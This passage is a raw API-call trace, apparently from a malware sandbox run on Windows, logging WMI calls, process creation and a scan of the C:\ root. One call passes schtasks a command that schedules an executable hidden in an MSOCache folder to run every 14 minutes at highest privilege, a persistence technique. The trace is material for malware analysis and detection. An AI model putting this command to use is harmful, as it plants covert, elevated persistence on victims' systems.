puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0081.834] WbemDefPath:IWbemPath:GetText (in: This=0x1c02ff30, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0081.834] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1c02fe70) returned 0x0 [0081.834] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02ff30, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0081.834] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02ff30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0081.835] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02ff30, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0081.835] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02fe70, uIndex=0x0, pszName="root") returned 0x0 [0081.835] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02ff30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0081.835] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1c02ff30, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0081.835] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1c02fe70, uIndex=0x1, pszName="cimv2") returned 0x0 [0081.835] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02ff30, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0081.835] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02ff30, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0081.835] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02fe70, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0081.835] WbemDefPath:IWbemPath:GetServer (in: This=0x1c02fe70, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0081.835] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02fe70, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0081.835] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fab0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0081.835] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0081.836] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fab0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0081.836] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0081.836] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fe70, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0081.836] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fe70, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0081.836] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fe70, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0081.836] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fe70, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0081.836] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fe70, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0081.837] IWbemServices:GetObject (in: This=0x1c03f810, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1c02afc0, ppCallResult=0x0) returned 0x0 [0081.879] IWbemClassObject:GetMethod (in: This=0x1c02afc0, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1c02b330, ppOutSignature=0x1b2fd9e0*=0x1c02b6a0) returned 0x0 [0081.880] IWbemClassObject:SpawnInstance (in: This=0x1c02b330, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf6df90) returned 0x0 [0081.880] IWbemClassObject:Get (in: This=0x1bf6df90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae3a60*=0, plFlavor=0x2ae3a64*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae3a60*=8, plFlavor=0x2ae3a64*=32) returned 0x0 [0081.880] IWbemClassObject:Get (in: This=0x1bf6df90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae3a60*=8, plFlavor=0x2ae3a64*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae3a60*=8, plFlavor=0x2ae3a64*=32) returned 0x0 [0081.881] IWbemClassObject:Put (This=0x1bf6df90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"centralcreditcardc\" /sc MINUTE /mo 14 /tr \"'C:\\MSOCache\\All Users\\{90160000-00E1-0409-1000-0000000FF1CE}-C\\centralcreditcard.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0081.881] IWbemClassObject:Get (in: This=0x1bf6df90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae3af0*=0, plFlavor=0x2ae3af4*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae3af0*=13, plFlavor=0x2ae3af4*=32) returned 0x0 [0081.881] IWbemClassObject:Get (in: This=0x1bf6df90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae3af0*=13, plFlavor=0x2ae3af4*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae3af0*=13, plFlavor=0x2ae3af4*=32) returned 0x0 [0081.881] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1c02a8e0) returned 0x0 [0081.881] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0081.881] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0081.881] IUnknown:AddRef (This=0x1c02a8e0) returned 0x3 [0081.881] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0081.882] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0081.882] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1c02a8e8) returned 0x0 [0081.882] IMarshal:GetUnmarshalClass (in: This=0x1c02a8e8, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0081.882] IUnknown:Release (This=0x1c02a8e8) returned 0x3 [0081.882] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0081.882] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0081.882] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0081.882] IUnknown:Release (This=0x1c02a8e0) returned 0x2 [0081.882] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0081.882] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0081.882] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0081.882] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0081.882] IUnknown:QueryInterface (in: This=0x1c02a8e0, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0081.882] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0081.882] IUnknown:AddRef (This=0x1c02a8e0) returned 0x3 [0081.882] IWbemClassObject:Put (This=0x1bf6df90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1c02a8e0, varVal2=0x0), Type=0) returned 0x0 [0081.883] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fb70, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0081.883] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fb70, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0081.883] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fb70, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0081.883] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fab0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0081.883] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0081.883] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fab0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0081.883] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fb70, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0081.883] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fb70, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0081.883] IWbemServices:ExecMethod (in: This=0x1c03f810, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf6df90, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6e240, ppCallResult=0x0) returned 0x0 [0081.988] IWbemClassObject:Get (in: This=0x1bf6e240, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae3e08*=0, plFlavor=0x2ae3e0c*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd18, varVal2=0x0), pType=0x2ae3e08*=19, plFlavor=0x2ae3e0c*=0) returned 0x0 [0081.988] IWbemClassObject:Get (in: This=0x1bf6e240, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ae3e08*=19, plFlavor=0x2ae3e0c*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xd18, varVal2=0x0), pType=0x2ae3e08*=19, plFlavor=0x2ae3e0c*=0) returned 0x0 [0081.989] CoTaskMemAlloc (cb=0x20c) returned 0x1118360 [0081.989] GetSystemDirectoryW (in: lpBuffer=0x1118360, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0081.989] CoTaskMemFree (pv=0x1118360) [0081.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0081.990] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0081.990] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1bfbeed0 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x183b87e0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x418b3f80, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0x523740e0, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x523740e0, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hyperWinhost", cAlternateFileName="HYPERW~1")) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xf1e7bf70, ftCreationTime.dwHighDateTime=0x1d99d00, ftLastAccessTime.dwLowDateTime=0xf1f144f0, ftLastAccessTime.dwHighDateTime=0x1d99d00, ftLastWriteTime.dwLowDateTime=0xf1f144f0, ftLastWriteTime.dwHighDateTime=0x1d99d00, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0081.992] FindNextFileW (in: hFindFile=0x1bfbeed0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0081.992] FindClose (in: hFindFile=0x1bfbeed0 | out: hFindFile=0x1bfbeed0) returned 1 [0081.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0081.992] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0081.993] SetThreadErrorMode (dwNewMode=0x1, 